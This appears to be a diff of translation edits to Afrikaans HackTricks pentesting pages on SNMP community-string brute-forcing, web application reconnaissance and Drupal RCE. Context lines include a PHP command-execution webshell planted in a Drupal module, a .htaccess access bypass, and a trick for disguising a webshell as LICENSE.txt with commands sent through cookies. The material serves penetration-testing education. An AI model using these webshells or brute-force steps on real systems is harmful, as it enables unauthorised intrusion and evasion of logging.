@@ -197,7 +197,7 @@ As jy die **string** het wat jou toelaat om **waardes** binne die SNMP-diens te
Braa implementeer sy EIE snmp-stapel, so dit het GEEN SNMP biblioteke soos net-snmp nodig nie.
-**Sintaksis:** braa \[Gemeenskapsstring]@\[IP van SNMP bediener]:\[iso id]
+**Sintaksis:** braa \[Gemeenskaps-string\]@\[\[IP van SNMP bediener\]:\[iso id\]
```bash
braa ignite123@192.168.1.125:.1.3.6.*
```
@@ -213,7 +213,7 @@ grep ".1.3.6.1.2.1.1.1.0" *.snmp
```
### **Identifiseer Privaat String**
-'n Belangrike stap behels die identifisering van die **privaat gemeenskap string** wat deur organisasies gebruik word, veral op Cisco IOS routers. Hierdie string stel die onttrekking van **lopende konfigurasies** van routers in staat. Die identifisering staat dikwels op die analise van SNMP Trap data vir die woord "trap" met 'n **grep command**:
+'n Belangrike stap behels die identifisering van die **privaat gemeenskap string** wat deur organisasies gebruik word, veral op Cisco IOS-ruters. Hierdie string stel die onttrekking van **lopende konfigurasies** van ruters in staat. Die identifisering staat dikwels op die analise van SNMP Trap-data vir die woord "trap" met 'n **grep-opdrag**:
```bash
grep -i "trap" *.snmp
```
@@ -235,7 +235,7 @@ You can use _**NetScanTools**_ to **modify values**. You will need to know the *
## Spoofing
-If there is an ACL that only allows some IPs to query the SMNP service, you can spoof one of these addresses inside the UDP packet and sniff the traffic.
+If there is an ACL that only allows some IPs to query the SMNP service, you can spoof one of this addresses inside the UDP packet an sniff the traffic.
## Examine SNMP Configuration files
@@ -243,9 +243,9 @@ If there is an ACL that only allows some IPs to query the SMNP service, you can
* snmpd.conf
* snmp-config.xml
-
+
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_vloeiende Pools geskryf en gesproke vereis_).
+If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_vloeiend Pools geskryf en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
diff --git a/network-services-pentesting/pentesting-snmp/cisco-snmp.md b/network-services-pentesting/pentesting-snmp/cisco-snmp.md
index 825621189..9ce6631d7 100644
--- a/network-services-pentesting/pentesting-snmp/cisco-snmp.md
+++ b/network-services-pentesting/pentesting-snmp/cisco-snmp.md
@@ -8,14 +8,14 @@ Leer & oefen GCP Hacking: Ondersteun HackTricks
-* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
-* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
+* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
-
+
As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons is op soek na mense!** (_vloeiend in geskryf en gesproke Pools vereis_).
@@ -23,9 +23,9 @@ As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons
## Pentesting Cisco Netwerke
-**SNMP** funksioneer oor UDP met poorte 161/UDP vir algemene boodskappe en 162/UDP vir valboodskappe. Hierdie protokol staat op gemeenskapsstringe, wat as wagwoorde dien wat kommunikasie tussen SNMP-agente en bedieners moontlik maak. Hierdie stringe is van kardinale belang omdat hulle toegangsvlakke bepaal, spesifiek **slegs lees (RO) of lees-skrif (RW) toestemmings**. 'n Opmerkelijke aanvalsvlak vir pentesters is die **brute-forcing van gemeenskapsstringe**, met die doel om netwerktoestelle binne te dring.
+**SNMP** funksioneer oor UDP met poorte 161/UDP vir algemene boodskappe en 162/UDP vir valboodskappe. Hierdie protokol staat op gemeenskapsstringe, wat as wagwoorde dien wat kommunikasie tussen SNMP-agente en bedieners moontlik maak. Hierdie stringe is van kardinale belang omdat hulle toegangsvlakke bepaal, spesifiek **slegs lees (RO) of lees-skrif (RW) regte**. 'n Opmerkelijke aanvalsvlak vir pentesters is die **brute-forcing van gemeenskapsstringe**, met die doel om netwerktoestelle binne te dring.
-'n Praktiese hulpmiddel om sulke brute-force aanvalle uit te voer is [**onesixtyone**](https://github.com/trailofbits/onesixtyone), wat 'n lys van potensiële gemeenskapsstringe en die IP-adresse van die teikens vereis:
+'n Praktiese hulpmiddel om sulke brute-force-aanvalle uit te voer is [**onesixtyone**](https://github.com/trailofbits/onesixtyone), wat 'n lys van potensiële gemeenskapsstringe en die IP-adresse van die teikens benodig:
```bash
onesixtyone -c communitystrings -i targets
```
@@ -38,7 +38,7 @@ Die Metasploit-raamwerk bevat die `cisco_config_tftp` module, wat die ekstraksie
* Teiken toestel se IP (**RHOSTS**)
* Bestemmingspad vir die konfigurasie lêers (**OUTPUTDIR**)
-Na konfigurasie, stel hierdie module die aflaai van toestelinstellings direk na 'n gespesifiseerde gids moontlik.
+Na konfigurasie, stel hierdie module die aflaai van toestelinstellings direk na 'n gespesifiseerde gids in.
#### `snmp_enum`
@@ -52,9 +52,9 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
-
+
-As jy belangstel in **hacking loopbaan** en om die onhackable te hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
+As jy belangstel in **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
diff --git a/network-services-pentesting/pentesting-web/README.md b/network-services-pentesting/pentesting-web/README.md
index 733fdfb01..bca3187bd 100644
--- a/network-services-pentesting/pentesting-web/README.md
+++ b/network-services-pentesting/pentesting-web/README.md
@@ -15,15 +15,15 @@ Leer & oefen GCP Hacking:
{% endhint %}
-
+
-As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiend in geskryf en gesproke Pools vereis_).
+As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
## Basiese Inligting
-Die webdiens is die mees **gewone en uitgebreide diens** en daar bestaan 'n baie **verskillende tipes kwesbaarhede**.
+Die webdiens is die mees **gewone en uitgebreide diens** en 'n baie **verskillende tipes kwesbaarhede** bestaan.
**Standaard poort:** 80 (HTTP), 443(HTTPS)
```bash
@@ -50,7 +50,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
* [ ] Enige **bekende kwesbaarheid** van die weergawe van die tegnologie?
* [ ] Gebruik enige **bekende tegnologie**? Enige **nuttige truuk** om meer inligting te onttrek?
* [ ] Enige **gespesialiseerde skandeerder** om te loop (soos wpscan)?
-* [ ] Begin **algemene doeleindes skandeerders**. Jy weet nooit of hulle iets gaan vind of as hulle interessante inligting gaan vind nie.
+* [ ] Begin **algemene doeleindes skandeerders**. Jy weet nooit of hulle iets gaan vind of of hulle interessante inligting gaan vind nie.
* [ ] Begin met die **begin kontroles**: **robots**, **sitemap**, **404** fout en **SSL/TLS skandering** (as HTTPS).
* [ ] Begin met **spidering** van die webblad: Dit is tyd om **te vind** al die moontlike **lêers, vouers** en **parameters wat gebruik word.** Kyk ook vir **spesiale bevindings**.
* [ ] _Let daarop dat enige tyd 'n nuwe gids ontdek word tydens brute-forcing of spidering, dit moet gespider word._
@@ -118,7 +118,7 @@ Sommige **truuks** vir **die vind van kwesbaarhede** in verskillende bekende **t
* [**Electron Desktop (XSS na RCE)**](electron-desktop-apps/)
_Hou in gedagte dat die **selfde domein** **verskillende tegnologieë** in verskillende **poorte**, **mappes** en **subdomeine** kan gebruik._\
-As die webtoepassing enige bekende **tegnologie/platform wat voorheen gelys is** of **enige ander** gebruik, moenie vergeet om **op die Internet** na nuwe truuks te **soek** (en laat weet my!).
+As die webtoepassing enige bekende **tegnologie/platform wat voorheen gelys is** of **enige ander** gebruik, moenie vergeet om **op die Internet** nuwe truuks te **soek** (en laat my weet!).
### Bronkode Hersiening
@@ -137,7 +137,7 @@ As die **bronkode** van die toepassing beskikbaar is in **github**, benewens om
### Outomatiese skandeerders
-#### Algemene doeleindes outomatiese skandeerders
+#### Algemene doel outomatiese skandeerders
```bash
nikto -h
whatweb -a 4
@@ -183,7 +183,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
**Dwing foute**
-Webbedieners mag **onverwagte gedrag** vertoon wanneer vreemde data na hulle gestuur word. Dit kan **kwesbaarhede** of **sensitiewe inligting openbaar**.
+Webbedieners kan **onverwagte gedrag** vertoon wanneer vreemde data na hulle gestuur word. Dit kan **kwesbaarhede** of **sensitiewe inligting openbaar**.
* Toegang tot **valse bladsye** soos /whatever\_fake.php (.aspx,.html,.ens)
* **Voeg "\[]", "]]", en "\[\["** in **koekie waardes** en **parameter** waardes by om foute te skep
@@ -195,14 +195,14 @@ Webbedieners mag **onverwagte gedrag** vertoon wanneer vreemde data na hulle ges
As jy vind dat **WebDav** **geaktiveer** is, maar jy nie genoeg regte het om **lêers op te laai** in die wortelgids nie, probeer om:
* **Brute Force** akrediteer
-* **Laai lêers op** via WebDav na die **oorblywende** **gevonde gidse** binne die webblad. Jy mag regte hê om lêers in ander gidse op te laai.
+* **Lêers op te laai** via WebDav na die **oorblywende** **gevonde gidse** binne die webblad. Jy mag regte hê om lêers in ander gidse op te laai.
### **SSL/TLS kwesbaarhede**
* As die toepassing **nie die gebruiker van HTTPS dwing** nie, dan is dit **kwesbaar vir MitM**
* As die toepassing **sensitiewe data (wagwoorde) via HTTP stuur**. Dan is dit 'n hoë kwesbaarheid.
-Gebruik [**testssl.sh**](https://github.com/drwetter/testssl.sh) om te kontroleer vir **kwesbaarhede** (In Bug Bounty programme sal hierdie tipe kwesbaarhede waarskynlik nie aanvaar word nie) en gebruik [**a2sv** ](https://github.com/hahwul/a2sv) om die kwesbaarhede weer te kontroleer:
+Gebruik [**testssl.sh**](https://github.com/drwetter/testssl.sh) om te kontroleer vir **kwesbaarhede** (In Bug Bounty programme sal hierdie soort kwesbaarhede waarskynlik nie aanvaar word nie) en gebruik [**a2sv** ](https://github.com/hahwul/a2sv) om die kwesbaarhede weer te kontroleer:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@@ -218,13 +218,13 @@ Inligting oor SSL/TLS kwesbaarhede:
### Spidering
-Begin 'n soort **spider** binne die web. Die doel van die spider is om **soveel moontlike paaie** van die getoetste toepassing te **vind**. Daarom moet webkruip en eksterne bronne gebruik word om soveel geldige paaie as moontlik te vind.
+Begin 'n soort **spider** binne die web. Die doel van die spider is om **soveel paaie as moontlik** van die getoetste toepassing te **vind**. Daarom moet webkruip en eksterne bronne gebruik word om soveel geldige paaie as moontlik te vind.
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS-lêers en eksterne bronne (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, met LinkFider vir JS-lêers en Archive.org as eksterne bron.
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, dui ook "juicy files" aan.
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktiewe CLI HTML spider. Dit soek ook in Archive.org.
-* [**meg**](https://github.com/tomnomnom/meg) (go): Hierdie hulpmiddel is nie 'n spider nie, maar dit kan nuttig wees. Jy kan net 'n lêer met hosts en 'n lêer met paaie aandui en meg sal elke pad op elke gasheer haal en die antwoord stoor.
+* [**meg**](https://github.com/tomnomnom/meg) (go): Hierdie hulpmiddel is nie 'n spider nie, maar dit kan nuttig wees. Jy kan net 'n lêer met gasheer en 'n lêer met paaie aandui en meg sal elke pad op elke gasheer haal en die antwoord stoor.
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider met JS-rendering vermoëns. Dit lyk egter of dit nie meer onderhou word nie, die vooraf saamgestelde weergawe is oud en die huidige kode compileer nie.
* [**gau**](https://github.com/lc/gau) (go): HTML spider wat eksterne verskaffers gebruik (wayback, otx, commoncrawl).
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Hierdie skrip sal URL's met parameters vind en dit lys.
@@ -232,25 +232,25 @@ Begin 'n soort **spider** binne die web. Die doel van die spider is om **soveel
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, met JS beautify vermoëns wat in staat is om nuwe paaie in JS-lêers te soek. Dit kan ook die moeite werd wees om na [JSScanner](https://github.com/dark-warlord14/JSScanner) te kyk, wat 'n wrapper van LinkFinder is.
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Om eindpunte in beide HTML-bron en ingebedde javascript-lêers te onttrek. Nuttig vir foutjagters, rooi spanlede, infosec ninjas.
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 'n Python 2.7 skrip wat Tornado en JSBeautifier gebruik om relatiewe URL's uit JavaScript-lêers te parse. Nuttig om AJAX-versoeke maklik te ontdek. Dit lyk of dit nie meer onderhou word nie.
-* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gegee 'n lêer (HTML) sal dit URL's daaruit onttrek met behulp van 'n slim regulêre uitdrukking om die relatiewe URL's uit lelike (minify) lêers te vind en onttrek.
+* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Gegewe 'n lêer (HTML) sal dit URL's daaruit onttrek met behulp van 'n slim regulêre uitdrukking om die relatiewe URL's uit lelike (minify) lêers te vind en onttrek.
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, verskeie hulpmiddels): Verskaf interessante inligting uit JS-lêers met behulp van verskeie hulpmiddels.
* [**subjs**](https://github.com/lc/subjs) (go): Vind JS-lêers.
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Laai 'n bladsy in 'n headless-browsers en druk al die URL's wat gelaai is om die bladsy te laai.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Inhoud ontdekking hulpmiddel wat verskeie opsies van die vorige hulpmiddels meng.
-* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 'n Burp-uitbreiding om paaie en params in JS-lêers te vind.
-* [**Sourcemapper**](https://github.com/denandz/sourcemapper): 'n hulpmiddel wat gegee die .js.map URL jou die beautified JS-kode sal gee.
+* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 'n Burp-uitbreiding om pad en params in JS-lêers te vind.
+* [**Sourcemapper**](https://github.com/denandz/sourcemapper): 'n hulpmiddel wat gegewe die .js.map URL die geoptimaliseerde JS-kode sal kry.
* [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Dit is 'n hulpmiddel wat gebruik word om eindpunte vir 'n gegewe teiken te ontdek.
-* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ontdek skakels van die wayback masjien (ook die antwoorde in die wayback aflaai en na meer skakels soek).
+* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ontdek skakels van die wayback-masjien (ook die antwoorde in die wayback aflaai en na meer skakels soek).
* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Kruip (selfs deur vorms in te vul) en vind ook sensitiewe inligting met behulp van spesifieke regexes.
-* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is 'n gevorderde multi-funksie GUI web sekuriteit Crawler/Spider ontwerp vir kuberveiligheid professionele.
+* [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is 'n gevorderde multi-funksie GUI web sekuriteit Kruiper/Spider ontwerp vir kuberveiligheid professionele.
* [**jsluice**](https://github.com/BishopFox/jsluice) (go): Dit is 'n Go-pakket en [opdraglyn hulpmiddel](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) om URL's, paaie, geheime en ander interessante data uit JavaScript-bronkode te onttrek.
-* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is 'n eenvoudige **Burp Suite uitbreiding** om **die parameters en eindpunte** uit die versoek te onttrek om 'n pasgemaakte woordlys vir fuzzing en enumerasie te skep.
+* [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is 'n eenvoudige **Burp Suite-uitbreiding** om **die parameters en eindpunte** uit die versoek te onttrek om 'n pasgemaakte woordlys vir fuzzing en enumerasie te skep.
* [**katana**](https://github.com/projectdiscovery/katana) (go): Wonderlike hulpmiddel hiervoor.
* [**Crawley**](https://github.com/s0rg/crawley) (go): Druk elke skakel wat dit kan vind.
### Brute Force directories and files
-Begin **brute-forcing** vanaf die wortelmap en wees seker om **alle** die **directories wat gevind is** te brute-force met **hierdie metode** en al die directories **ontdek** deur die **Spidering** (jy kan hierdie brute-forcing **rekursief** doen en die name van die gevonde directories aan die begin van die gebruikte woordlys voeg).\
+Begin **brute-forcing** vanaf die wortelmap en wees seker om **alle** die **ggevonde directories** te brute-force met **hierdie metode** en al die directories **ontdek** deur die **Spidering** (jy kan hierdie brute-forcing **rekursief** doen en die name van die gevonde directories aan die begin van die gebruikte woordlys voeg).\
Hulpmiddels:
* **Dirb** / **Dirbuster** - Ingesluit in Kali, **oud** (en **stadig**) maar funksioneel. Laat outomaties onderteken sertifikate toe en rekursiewe soektog. Te stadig in vergelyking met die ander opsies.
@@ -259,10 +259,10 @@ Hulpmiddels:
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Vinning, ondersteun rekursiewe soektog.**
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
* [**ffuf** ](https://github.com/ffuf/ffuf)- Vinning: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
-* [**uro**](https://github.com/s0md3v/uro) (python): Dit is nie 'n spider nie, maar 'n hulpmiddel wat gegee die lys van gevonde URL's sal "gedupliceerde" URL's verwyder.
+* [**uro**](https://github.com/s0md3v/uro) (python): Dit is nie 'n spider nie, maar 'n hulpmiddel wat gegewe die lys van gevonde URL's sal "gedupliseerde" URL's verwyder.
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp-uitbreiding om 'n lys van directories uit die burp geskiedenis van verskillende bladsye te skep.
-* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Verwyder URL's met gedupliceerde funksies (gebaseer op js imports).
-* [**Chamaleon**](https://github.com/iustin24/chameleon): Dit gebruik wapalyzer om gebruikte tegnologieë te detecteer en die woordlyste te kies om te gebruik.
+* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Verwyder URL's met gedupliseerde funksies (gebaseer op js imports).
+* [**Chamaleon**](https://github.com/iustin24/chameleon): Dit gebruik wapalyzer om gebruikte tegnologieë te detecteer en die woordlyste te kies.
**Aanbevole woordlyste:**
@@ -283,19 +283,19 @@ Hulpmiddels:
* _/usr/share/wordlists/dirb/big.txt_
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
-_Nota dat enige tyd 'n nuwe directory ontdek word tydens brute-forcing of spidering, dit moet brute-forced word._
+_Nota dat enige tyd wanneer 'n nuwe directory ontdek word tydens brute-forcing of spidering, dit brute-forced moet word._
### Wat om te kontroleer op elke lêer wat gevind is
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Vind gebroke skakels binne HTML's wat geneig kan wees om oorgeneem te word.
-* **Lêer Rugsteun**: Sodra jy al die lêers gevind het, soek vir rugsteun van al die uitvoerbare lêers ("_.php_", "_.aspx_"...). Algemene variasies vir die benoeming van 'n rugsteun is: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp en file.old._ Jy kan ook die hulpmiddel [**bfac**](https://github.com/mazen160/bfac) **of** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
-* **Ontdek nuwe parameters**: Jy kan hulpmiddels soos [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **en** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gebruik om verborge parameters te ontdek. As jy kan, kan jy probeer om** verborge parameters op elke uitvoerbare web lêer te soek.
+* **Lêer Rugsteun**: Sodra jy al die lêers gevind het, soek vir rugsteun van al die uitvoerbare lêers ("_.php_", "_.aspx_"...). Algemene variasies vir die benoeming van 'n rugsteun is: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp en file.old._ Jy kan ook die hulpmiddel [**bfac**](https://github.com/mazen160/bfac) **of** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** gebruik.**
+* **Ontdek nuwe parameters**: Jy kan hulpmiddels soos [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **en** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gebruik om versteekte parameters te ontdek. As jy kan, kan jy probeer om** versteekte parameters op elke uitvoerbare web lêer te soek.
* _Arjun al standaard woordlyste:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
-* **Kommentaar:** Kontroleer die kommentaar van al die lêers, jy kan **akkrediteer** of **verborge funksionaliteit** vind.
-* As jy **CTF** speel, is 'n "gewone" truuk om **inligting** binne kommentaar aan die **regterkant** van die **bladsy** te **versteek** (met behulp van **honderde** **spasies** sodat jy nie die data sien as jy die bronkode met die blaaiers oopmaak nie). 'n Ander moontlikheid is om **verskeie nuwe lyne** te gebruik en **inligting** in 'n kommentaar aan die **onderkant** van die webblad te **versteek**.
+* **Kommentaar:** Kontroleer die kommentaar van al die lêers, jy kan **akkrediteer** of **versteekte funksionaliteit** vind.
+* As jy **CTF** speel, is 'n "gewone" truuk om **inligting** te **versteek** binne kommentaar aan die **regterkant** van die **bladsy** (met behulp van **honderde** **spasies** sodat jy nie die data sien as jy die bronkode met die blaaiers oopmaak nie). 'n Ander moontlikheid is om **verskeie nuwe lyne** te gebruik en **inligting** in 'n kommentaar aan die **onderkant** van die webblad te versteek.
* **API sleutels**: As jy **enige API-sleutel** vind, is daar 'n gids wat aandui hoe om API-sleutels van verskillende platforms te gebruik: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
* Google API sleutels: As jy enige API-sleutel vind wat lyk soos **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik kan jy die projek [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) gebruik om te kyk watter API's die sleutel kan toegang.
* **S3 Buckets**: Terwyl jy spider, kyk of enige **subdomein** of enige **skakel** verband hou met 'n **S3-bucket**. In daardie geval, [**kontroleer** die **toestemmings** van die bucket](buckets/).
@@ -310,7 +310,7 @@ _Nota dat enige tyd 'n nuwe directory ontdek word tydens brute-forcing of spider
* [As jy 'n _**.git**_ lêer vind, kan sommige inligting onttrek word](git.md).
* As jy 'n _**.env**_ lêer vind, kan inligting soos API-sleutels, databasis wagwoorde en ander inligting gevind word.
* As jy **API eindpunte** vind, [moet jy dit ook toets](web-api-pentesting.md). Hierdie is nie lêers nie, maar sal waarskynlik "soos" hulle lyk.
-* **JS lêers**: In die spidering afdeling is verskeie hulpmiddels genoem wat paaie uit JS-lêers kan onttrek. Dit sal ook interessant wees om **elke JS-lêer wat gevind is** te **monitor**, aangesien 'n verandering kan aandui dat 'n potensiële kwesbaarheid in die kode ingevoer is. Jy kan byvoorbeeld [**JSMon**](https://github.com/robre/jsmon)**.**
+* **JS-lêers**: In die spidering afdeling is verskeie hulpmiddels genoem wat paaie uit JS-lêers kan onttrek. Dit sal ook interessant wees om **elke JS-lêer wat gevind is** te monitor, aangesien 'n verandering kan aandui dat 'n potensiële kwesbaarheid in die kode ingevoer is. Jy kan byvoorbeeld [**JSMon**](https://github.com/robre/jsmon)** gebruik.**
* Jy moet ook ontdekte JS-lêers met [**RetireJS**](https://github.com/retirejs/retire.js/) of [**JSHole**](https://github.com/callforpapers-source/jshole) kontroleer om te vind of dit kwesbaar is.
* **Javascript Deobfuscator en Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
@@ -327,17 +327,17 @@ _Nota dat enige tyd 'n nuwe directory ontdek word tydens brute-forcing of spider
**502 Proxy Fout**
-As enige bladsy **antwoord** met daardie **kode**, is dit waarskynlik 'n **sleg geconfigureerde proxy**. **As jy 'n HTTP versoek soos: `GET https://google.com HTTP/1.1`** (met die host header en ander algemene headers) stuur, sal die **proxy** probeer om **toegang** te verkry tot _**google.com**_ **en jy sal 'n** SSRF gevind het.
+As enige bladsy **antwoord gee** met daardie **kode**, is dit waarskynlik 'n **sleg geconfigureerde proxy**. **As jy 'n HTTP versoek soos: `GET https://google.com HTTP/1.1`** (met die host header en ander algemene headers) stuur, sal die **proxy** probeer om **toegang** te verkry tot _**google.com**_ **en jy sal 'n** SSRF gevind het.
**NTLM Verifikasie - Inligting openbaar**
-As die bediener wat verifikasie vra **Windows** is of jy 'n aanmeldingsvorm vind wat om jou **akkrediteer** (en om 'n **domeinnaam** vra), kan jy 'n **inligting openbaar** veroorsaak.\
+As die bediener wat om verifikasie vra **Windows** is of jy 'n aanmelding vind wat om jou **akkrediteer** (en om **domeinnaam** vra), kan jy 'n **inligting openbaar** veroorsaak.\
**Stuur** die **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` en as gevolg van hoe die **NTLM verifikasie werk**, sal die bediener met interne inligting (IIS weergawe, Windows weergawe...) binne die header "WWW-Authenticate" antwoordgee.\
Jy kan **dit outomatiseer** met die **nmap plugin** "_http-ntlm-info.nse_".
**HTTP Oorplasing (CTF)**
-Dit is moontlik om **inhoud** binne 'n **Oorplasing** te **sit**. Hierdie inhoud **sal nie aan die gebruiker** gewys word nie (aangesien die blaaiers die oorplasing sal uitvoer), maar iets kan **versteek** wees daarin.
+Dit is moontlik om **inhoud** binne 'n **Oorplasing** te plaas. Hierdie inhoud **sal nie aan die gebruiker gewys word nie** (aangesien die blaaiers die oorplasing sal uitvoer), maar iets kan **versteek** wees daarin.
### Web Kwesbaarhede Kontroleer
@@ -357,9 +357,9 @@ Vind meer inligting oor web kwesbaarhede in:
Jy kan hulpmiddels soos [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gebruik om bladsye vir wysigings te monitor wat kwesbaarhede kan invoeg.
-
+
-As jy belangstel in 'n **hacking loopbaan** en om die onhackable te hack - **ons huur!** (_vloeiend Pools geskryf en gesproke vereis_).
+As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is besig om aan te stel!** (_vloeiend Pools geskryf en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
diff --git a/network-services-pentesting/pentesting-web/drupal/drupal-rce.md b/network-services-pentesting/pentesting-web/drupal/drupal-rce.md
index a97d9d8f4..751436695 100644
--- a/network-services-pentesting/pentesting-web/drupal/drupal-rce.md
+++ b/network-services-pentesting/pentesting-web/drupal/drupal-rce.md
@@ -21,7 +21,7 @@ Leer & oefen GCP Hacking: (**Kontroleer**) _PHP Filter_ -> _Stoor konfigurasie_
@@ -68,7 +68,7 @@ tar xvf captcha-8.x-1.2.tar.gz
system($_GET["cmd"]);
?>
```
-* Volgende, moet ons 'n **`.htaccess`** lêer skep om vir onsself toegang tot die gids te gee. Dit is nodig aangesien Drupal direkte toegang tot die **`/modules`** gids weier.
+* Volgende, moet ons 'n **`.htaccess`** lêer skep om vir onsself toegang tot die gids te gee. Dit is nodig aangesien Drupal direkte toegang tot die **`/modules`** gids ontken.
```html
RewriteEngine On
@@ -97,7 +97,7 @@ Voor aktivering:
Na aktivering:
-
+
@@ -194,7 +194,7 @@ php_flag engine on
```
Waarom is hierdie truuk cool?
-Omdat wanneer die Webshell (wat ons LICENSE.txt sal noem) op die Webbediener gelaat word, ons ons opdragte via `$_COOKIE` kan oordra en in die Webbediener logs, sal dit as 'n legitieme GET-versoek na 'n tekslêer verskyn.
